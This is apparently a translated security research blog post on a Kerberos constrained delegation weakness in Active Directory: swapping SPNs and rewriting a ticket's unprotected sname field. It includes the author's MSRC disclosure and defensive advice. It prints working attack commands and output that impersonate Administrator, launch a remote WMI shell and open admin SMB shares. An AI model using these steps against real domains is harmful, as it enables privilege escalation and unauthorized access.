浅析Kerberos 约束委派SPN的安全漏洞

本文讲的是浅析Kerberos 约束委派SPN的安全漏洞,在过去几年中,越来越多的安全研究人员开始研究Kerberos的安全性,最终发现了在支持该认证协议的网络环境中的很多有趣的攻击方式。

在本博文中,我将介绍我在Windows的Kerberos约束委派功能中的一些发现(这些安全问题仍然未解决)以及在考虑使用或测试此技术时可能会用到的服务主体名称(SPN)过滤特性。我也会分享一些你可以拿去测试用的代码。如果你想获取更多有关Kerberos技术的信息,你可以查看Kerberos的RFC文档或其他更高级的相关教程。

虽然我已经针对Kerberos的安全性做了一段时间的研究,但是促使我开始这项特殊的研究工作的原因是我拜读了Ben Campbell 的一篇博文——“Trust? Years to earn, seconds to break”,这是一篇非常不错的博文。在阅读Ben的文章时,他描述了一种比较实用的用于攻击Active Directory网络环境的姿势,即攻击者可以尝试获取具有TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION特性的域帐户的凭据。他在文章中提到他无法使用我们CoreSecurity开发的Impacket库中的secretsdump.py工具完成其中的一个攻击步骤。 Impacket库在我们的一些产品中被广泛使用,也已经作为安全社区中的独立库和工具使用。由于是我开发的这个脚本(增加Kerberos支持),所以我想看看可能需要修复的问题。

好了,以上应该足够解释一些基本的内容了,让我们进入本文的主题吧:

Kerberos约束委派

试想一个如下图所示的名为FREEFLY.NET的网络域场景:

图1 – 我们在FREEFLY.NET域中的测试环境

一个正常用户(normaluser@freefly.net)访问Web服务器进行身份验证,然后该Web服务器从第三方服务器(名为fileserver.freefly.net)获取了一些内容。那么问题来了,Web服务器是如何验证文件服务器从而进行内容获取的?有以下几个选项:

使用一个普通的用户(可能是serviceuser@freefly.net)
使用刚刚访问Web服务器进行身份验证的用户的身份即normaluser@freefly.net
你所想到的任何其他方式:)

第二个选项对于在此场景链路的最后一跳(在这种情况下是文件服务器)中需要客户端用户的原始身份标识的情况看起来很有趣。这可能是出于审计目的或强制使用更好的授权权限所必需的。

为了在这种情况下能正常工作,serviceuser@freefly.net需要有特殊的权限,以允许它模拟客户端用户,然后代表该用户验证文件服务器。

总之,这就是Kerberos委派的目的。在Windows Server 2003之前,设置一个像上述这样的场景的唯一方法是给serviceuser@freefly.net“几乎”像任何用户对域中的“几乎”是任何服务器进行身份验证的能力(我说“几乎”是因为有一些限制它的方法,但大多数时候是没有使用的)。 Sean Metcalf在一篇博文中介绍了“无约束委派”功能的一些危险性。

因此,为了解决与无约束委派相关的问题,Microsoft引入了Kerberos约束委派,允许指定你所授予委派权限的帐户提供的服务是否允许提供委托凭证。这在服务帐户的委派选项卡中进行配置。在我们的例子中,应该有一个cifs / fileserver.freefly.net的条目:

图2 – 为serviceuser@freefly.net设置的约束委派

那么,问题又来了,如果由于任何原因导致serviceuser@freefly.net账户的凭据被泄露又会发生什么?例如,该帐户的登录凭证被破解的可能的方式之一是通过发起Kerberoast攻击(更多信息参见Tim Medin在DerbyCon上的议题),当然也包括其他攻击方式。

理论上来讲,攻击者使用该帐户将能够作为任何用户但只能够针对服务cifs/fileserver.freefly.net进行认证。

原本我并不指望能有任何其他的细节。但在阅读Ben Campbell的博客文章时,有一段内容引起了我的注意(引用Benjamin Delpy的评论):

Mr.Delpy还发现,ldap/domaincontroller.contoso.com的Kerberos票证能够允许该帐户发起Active Directory DC Sync攻击。

这使我认为,也许不仅仅是ldapdomaincontroller.contoso.com这个SPN的Kerberos 服务票证(TGS)能够允许Active Directory复制(DC Sync和secretsdump.py所做的事),也许其他更多的SPN也可以实现这样的攻击。所以,我去改变了Impacket处理已缓存的Kerberos票证的方式,可以在这个commit中看到详情。

基本上,如果你有不同的已缓存的服务票证(TGS),并且你需要获取host/fileserver.freefly.net SPN的票证,但是缓存中只有cifs / fileserver.freefly.net 这个SPN的票证,那么Impacket库就会给你(而不是None)你想要的票证,希望它能起作用。

令人惊讶的是,改变后的Impacket如魔法般神奇!以下操作步骤与Ben的博文中的步骤一样,只是应用了我的一些设置,假设我拿到了serviceuser@freefly.net的凭证。这次我不使用secretsdump.py,因为对于一个已加入域的机器(如文件服务器)的SPN(cifs/)的服务票证(TGS)足以转储所有登录凭据(如果目标机器是域控,那就是另一回事儿了)。我将使用host/这个SPN的服务票证(TGS)运行wmiexec.py,以便通过WMI执行命令时能够对目标创建DCOM连接。

步骤0 – 指定缓存票证的存储位置

# export KRB5CCNAME=/tmp/ccache

步骤1 – 为服务帐户创建一个keytab

# ktutil
ktutil:  addent -password -p serviceuser@FREEFLY.NET -k 1 -e aes256-cts-hmac-sha1-96
Password for serviceuser@FREEFLY.NET:
ktutil:  addent -password -p serviceuser@FREEFLY.NET -k 2 -e rc4-hmac
Password for serviceuser@FREEFLY.NET:
ktutil:  wkt /tmp/su.keytab
ktutil:  exit

步骤2 – 检索服务帐户的票证授权票(TGT)

# kinit -V -k -t /tmp/su.keytab -f serviceuser@FREEFLY.NET
Using default cache: /tmp/ccache
Using principal: serviceuser@FREEFLY.NET
Using keytab: /tmp/su.keytab
Authenticated to Kerberos v5

步骤3 – 使用模拟的用户(在本例中为“Administrator”)请求目标服务的票证授予服务(TGS)

# kvno -e aes256-cts-hmac-sha1-96  -k /tmp/su.keytab -P -U Administrator cifs/FILESERVER.FREEFLY.NET@FREEFLY.NET
cifs/FILESERVER.FREEFLY.NET@FREEFLY.NET: kvno = 2, keytab entry valid

步骤4 – 使用wmiexec.py发起pass-the-ticket攻击(删除了一些输出内容)

$ ./wmiexec.py -k fileserver.freefly.net -debug
Impacket v0.9.16-dev - Copyright 2002-2017 Core Security Technologies
[+] Using Kerberos Cache: /tmp/ccache
[..]
[*] SMBv2.1 dialect used
[..]
[+] Domain retrieved from CCache: FREEFLY.NET
[+] Using Kerberos Cache: /tmp/ccache
[+] SPN HOST/FILESERVER.FREEFLY.NET@FREEFLY.NET not found in cache
[+] AnySPN is True, looking for another suitable SPN
[+] Returning cached credential for CIFS/FILESERVER.FREEFLY.NET@FREEFLY.NET
[..]
[+] Target system is fileserver.freefly.net and isFDQN is True
[+] StringBinding: FILESERVER[PIPEatsvc]
[+] StringBinding: FILESERVER[49154]
[+] StringBinding chosen: ncacn_ip_tcp:fileserver.freefly.net[49154]
[..]
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:>whoami
freeflyadministrator
C:>

可以看出,我能够使用用于委派的唯一的SPN(cifs/)对文件服务器创建DCOM连接。

有了这些信息,让我明白了Kerberos约束委派功能有一些需要搞清楚的安全问题。我可以使用cifs / *的服务票据(TGS)进行目录复制,或启动DCOM以及发起其他攻击方式。看起来和SPN好像没有太大关系。

我把我的研究结果通过电子邮件发送给了微软安全应急响应中心(MSRC),经过几天的分析,他们给出了一个彻底的答案:

产品团队已完成调查并确定此行为是预期之内的;他们提供了以下补充细节:

在同一身份下运行的进程之间没有安全边界。进程上的安全描述符通常向进程正在运行的用户帐户授予相当大的权限。因此,在帐户foo下运行的一个服务可以很容易地篡改其他服务进程也为foo运行的服务进程。

这种缺少安全边界的特性也扩展到了Kerberos。在Kerberos认证协议中,服务通过确保票证加密到该服务的对称密钥,在入站服务票证中进行验证。使用的SPN不考虑这种验证;实际上服务用于执行此验证的AcceptSecurityContext调用不包括有关服务期望的SPN的任何信息。如果不是这样,从服务票证检查SPN仍然不能够提供针对恶意客户端的安全保护。 sname字段是票证中未加密部分的一部分。如果服务帐户foo已注册了host / foo和http / foo SPN,则这些SPN的票证是完全可互换的。

[..]

如果前端服务被授予委托给host/foo的权限,那么它也能够委托给http / foo。因此,新的Kerberos Constrained Delegation属性为每个帐户分配权限,而不是基于每个SPN。如果两个服务应具有不同的委派设置,那么它们必须在不同的帐户下运行。

这对我来说是个惊喜,特别是在Kerberos约束委派的上下文中,通过明确指定的服务(如cifs /,http /等)所启用委派的帐户就可以获得委派的凭证。

在配置Kerberos约束委派时,请记住,你不仅将凭证委托给你指定的服务类型,而且还委托给同一帐户下运行的其他服务类型。此外,在sname字段中指定的SPN似乎不会用于认证机制。

我没有在微软的相关文档中看到任何有关于这个的主题中对于此行为的任何解释。如果任何人有这方面的信息,请让我知道,我会在这里继续更新。此外,可以公平地说,当从客户端接收到TGS-REQ时,Kerberos RFC没有提到对sname做任何检查,由于sname字段似乎没有受到任何保护所以这一点变的有意义了(在下文中将有更多说明)。

有了这个问题的回答,我开始有点不能理解关于SPN过滤功能了。

服务器SPN目标名称验证级别

回到约束委托设置(图2),我们原来是委托到cifs/fileserver.freefly.net,现在我们将其更改为upn/fileserver.freefly.net(或任何其他除了cifs/的服务类型),并运行所有步骤以获取之前提到的Kerberos票证。最终在我们的票证的缓存中确实有了我们想要的票证:

Credentials cache: FILE:/tmp/ccache
        Principal: serviceuser@FREEFLY.NET
  Issued                Expires               Principal
Feb 23 17:26:34 2017  Feb 24 03:26:34 2017  krbtgt/FREEFLY.NET@FREEFLY.NET
Feb 23 17:26:39 2017  Feb 24 03:26:34 2017  serviceuser@FREEFLY.NET
Feb 23 17:26:39 2017  Feb 24 03:26:34 2017  ups/FILESERVER.FREEFLY.NET@FREEFLY.NET

同时,我们执行域的以下安全策略:

Microsoft网络服务器:服务器SPN目标名称验证级别:从客户端必需

你可以在这里阅读有关该策略的详细说明,简单来说如下:

此策略设置控制具有共享文件夹或打印机的服务器在客户端设备通过使用服务器消息块(SMB)协议建立会话时由客户端设备提供的服务主体名称(SPN)上执行的验证级别。 验证级别有助于防止对SMB服务的一类攻击(称为SMB中继攻击)。

执行上述配置并指定已缓存的票证,我们可以尝试运行一个工具,连接到目标服务(cifs/fileserver.freefly.net)就能够给出upn/fileserver.freefly.net这个SPN的票证(TGS)。 例如,让我们运行smbclient.py:

#./smbclient.py -debug -k fileserver.freefly.net
Impacket v0.9.16-dev - Copyright 2002-2017 Core Security Technologies
[+] Using Kerberos Cache: /tmp/ccache
[+] Domain retrieved from CCache: FREEFLY.NET
[+] SPN CIFS/FILESERVER.FREEFLY.NET@FREEFLY.NET not found in cache
[+] AnySPN is True, looking for another suitable SPN
[+] Returning cached credential for UPS/FILESERVER.FREEFLY.NET@FREEFLY.NET
[+] Using TGS from cache
[+] Username retrieved from CCache: Administrator
[-] SMB SessionError: STATUS_ACCESS_DENIED({Access Denied} A process has requested access to an object but has not been granted those access rights.)

正如你所看到的,在这一次的测试中,使用ups /这个SPN的服务票证(TGS)没有起作用。 但是,在MSRC的答复中有一些非常有趣的内容,特别是:

从服务票证检查SPN仍然不能提供针对恶意客户端的安全保护。 sname字段是票证中未加密部分的一部分。

这个信息非常重要,sname字段详细说明了服务票证(TGS)有效的目标SPN。 以下是从RFC 4120获取的在TGS-REP数据包中的票证描述信息:

Ticket          ::= [APPLICATION 1] SEQUENCE {
        tkt-vno         [0] INTEGER (5),
        realm           [1] Realm,
        sname           [2] PrincipalName,
        enc-part        [3] EncryptedData -- EncTicketPart
}

从MSRC的回复邮件中可以得知由于sname字段未做任何签名或保护,我就可以将其更改为我想要的任何SPN,并希望用于加密enc-part的长密钥对于这个新的 SPN也是一样的。 如果是这样的话,这就意味着两个不同的SPN的确运行在同一个用户中。

考虑到上述这一切信息,我添加了另一个改变Impacket处理Kerberos票证的方式的commit。 有了这个新的更改后,如果有一个服务票据(TGS)不匹配目标SPN,那么Impacket库不仅能够返回这个不存在的SPN的票证还可以自动更改sname字段,以便能够匹配原始请求。

如前面所述,如果目标服务没有在与原始服务票证(TGS)相同的服务用户下运行,这可能会失败,至少我们尝试过了!

提交了上述对Impacket库的更改后,我们再次运行,输出了下面的内容:

./smbclient.py -debug -k fileserver.freefly.net
Impacket v0.9.16-dev - Copyright 2002-2017 Core Security Technologies
[+] Using Kerberos Cache: /tmp/ccache
[+] Domain retrieved from CCache: FREEFLY.NET
[+] SPN CIFS/FILESERVER.FREEFLY.NET@FREEFLY.NET not found in cache
[+] AnySPN is True, looking for another suitable SPN
[+] Returning cached credential for UPS/FILESERVER.FREEFLY.NET@FREEFLY.NET
[+] Changing sname from ups/FILESERVER.FREEFLY.NET@FREEFLY.NET to cifs/FILESERVER.FREEFLY.NET@FREEFLY.NET and hoping for the best
[+] Using TGS from cache
[+] Username retrieved from CCache: Administrator
Type help for list of commands
# shares
ADMIN$
C$
IPC$
#

的确起作用了!即使使用服务器SPN目标名称验证级别:需要从客户端启用 这个策略。这告诉我,应用此策略时,很可能Windows操作系统正在读取服务票证(TGS)的sname,虽然我无法验证。

另一方面,建议使用服务器SPN目标名称验证级别:需要从客户端工作可能会更好(的确可以起到作用…)这个策略,当使用NTLM身份验证时,虽然目标SPN由客户端设置(如果客户端支持的话)但是其包含在作为NTLMv2认证的一部分已签名的块的AV_PAIR结构中。

最后一点说明

Kerberos委派有一些非常具体且至关重要的细节,了解了这些细节才能更好地了解在Active Directory环境中启用委派所带来的后果。

建议定期审核启用了委派的帐户,并始终为他们设置强壮的密码。攻击者入侵了这些帐户就可以轻松地在Active Directory环境中的进行渗透和权限提升。

最后,对于喜欢冒险的读者,改变票证的名字的想法可能会带来有趣的结果,除了描述的特定情况外还需要更多的研究:)

感谢阅读!

原文发布时间为:2017年3月17日

本文作者:丝绸之路

本文来自合作伙伴嘶吼,了解相关信息可以关注嘶吼网站。

原文链接

时间: 2024-11-20 17:32:36

浅析Kerberos 约束委派SPN的安全漏洞的相关文章

浅析PHP程序中的目录遍历漏洞

目录遍历漏洞在国内外有许多不同的叫法,比如也可以叫做信息泄露漏洞,非授权文件包含漏洞.名称虽然多,可他们却有一个共同的成因,就是在程序中没有过滤用户输入的../和./之类的目录跳转符,导致恶意用户可以通过提交目录跳转来遍历服务器上的任意文件,其危害可想而知.这类漏洞大家比较熟悉的可能就是在一些邮件列表程序以及网络硬盘程序中,其实这类漏洞还广泛存在与一些国外的BLOG程序中,这类漏洞大概分两种下面就来通过实例来说明这类漏洞是如何产生以及该如何防范. 首先,我们来看一个国外的BLOG,前几天从网上下

保护内网域安全之扫描Active Directory特权和特权帐户(一)

本文讲的是保护内网域安全之扫描Active Directory特权和特权帐户(一),因为攻击者的一些原因,Active Directory Recon成为了新的热点,Red Teamers和渗透测试人员已经意识到越过企业组织来控制Active Directory的权限. 在2016年的Black Hat&DEF CON会议期间,我分别站在Black Team和Red Team的角度,使用PowerView(由Will @ harmj0y 编写)列举了使用AD中的权限. 这篇文章详细介绍了如何在A

Hyper-V Server 2012-非群集环境使用实时迁移

Hyper-V Server 2012---非群集环境使用实时迁移 1.实验环境1) 2k1201服务器:AD服务器,此服务器安装Hyper-V管理器用来管理其它两台Hyper-V Server 2012,操作系统为Windows Server 2012 2) HY01和HY03两台服务器,运行Hyper-V Server 2012系统. 3) 虚拟机运行在HY01服务器上,将此虚拟机实时迁移到HY03上. 2. 设置用户权限1) 配置约束委派所使用的账户必须是域管理员组的成员,这里使用域管理员

[翻译]JDK8有什么新东西?

翻译官方文档,删除部分可忽略. 译者:坤谷 ,校对:井桐 Java SE 8是一个Java主要特性的发布版本.本文总结了在Java SE 8.JDK 8以及Oracle实现的Java SE 8中的新特性和增强的功能.点击下面各个组件的名称可以获取该组件增强的更详细说明. Java编程语言 Lambda表达式(Lambda Expressions)作为一种新的语言特性引入到这个版本中.它们允许我们将功能作为方法的参数传递,或者把代码看成是数据.Lambda表达式能够让你更加简洁的表达单个方法的接口

保护内网安全之提高Windows AD安全性 Part.1

本文讲的是保护内网安全之提高Windows AD安全性 Part.1,Active Directory的安全始于能确保安全地配置域控制器(DC).在今年夏天的BlackHat USA大会上,我非常专业的提到了AD的安全,并提供了关于如何能够最好程度上保护Active Directory安全的一些提示.这篇文章主要关注域控制器的安全性和一些跨越Active Directory的安全性.毕竟我的博客被称为"ADSecurity" - 本文将会涵盖一些通过保护域控制器(简称"域控&

企业安全的最佳实践方案

在本文中,我们将为广大读者诸君介绍美国思杰公司是如何借助对于应用程序和数据在任何地点.网络和设备的访问控制,以帮助企业客户在实现风险管控的同时,授权业务移动性的. 现如今,企业的IT和安全管理领导人们正面临着将业务安全风险降低到可接受的水平的同时,确保易用性和生产力的挑战.企业员工需要能够以自己最为舒适的方式来工作--即能够在任何地方.借助任何网络或设备顺畅工作,而不会因任何过度的限制或复杂的用户体验感到沮丧.与此同时,保护企业应用程序和数据避免因安全威胁而发生泄露.防止丢失和被盗,并确保完全符

Hyper-V 开启实时迁移过程

实时迁移是微软向Windows Server 2012 Hyper-V添加的最重要的功能,通过实时迁移功能,无需在Hyper-V主机之间移动虚拟机(VM)进行停机,同时在正常维护Hyper-V主机时,还可以将它托管的所有VM全部移走,等到维护结束后,再移回来,并且在这整个过程不用担心会引起业务中断. 此外,利用实时迁移功能还可以更好地动态调整主机资源利用率,将繁忙的Hyper-V主机上的部分VM移动到相对空闲的Hyper-V主机上,这样可以确保即便在业务高峰期也能给终端用户提供很好的性能.本文主

跨域或者Internet访问Remoting[Remoting FAQ]

[Remoting FAQ] 跨域或者Internet访问Remoting Version Date Creator Description 1.0.0.1 2006-6-1 郑昀@Ultrapower 草稿   继续阅读之前,我们假设您熟悉以下知识: n         Remoting [需求] 虽然说,Remoting一般都在同一个域内调用,但有时候,也需要跨域访问,甚至于跨Internet访问.毕竟,让第三方远程测试下Remoting方法,不能要求人家加入你的域. [现象] 在走TCP

Kerberoast攻击检测之日志分析

本文讲的是Kerberoast攻击检测之日志分析, 介绍 Kerberoast是一种可以作为普通用户从Active Directory中提取服务帐户凭证而不需要向目标系统发送任何数据包的有效方法.这种攻击的效果非常好,因为人们会倾向于创建一些不是很强壮的密码.此攻击之所以能够成功的原因是因为大多数服务帐户的密码长度与域密码的最小长度相同(长度通常为10或12个字符),这意味着即使使用暴力破解所花费的时间也不可能超过密码的有效期.同时,大多数服务帐户没有设置密码的过期时间,因此很可能相同的密码会在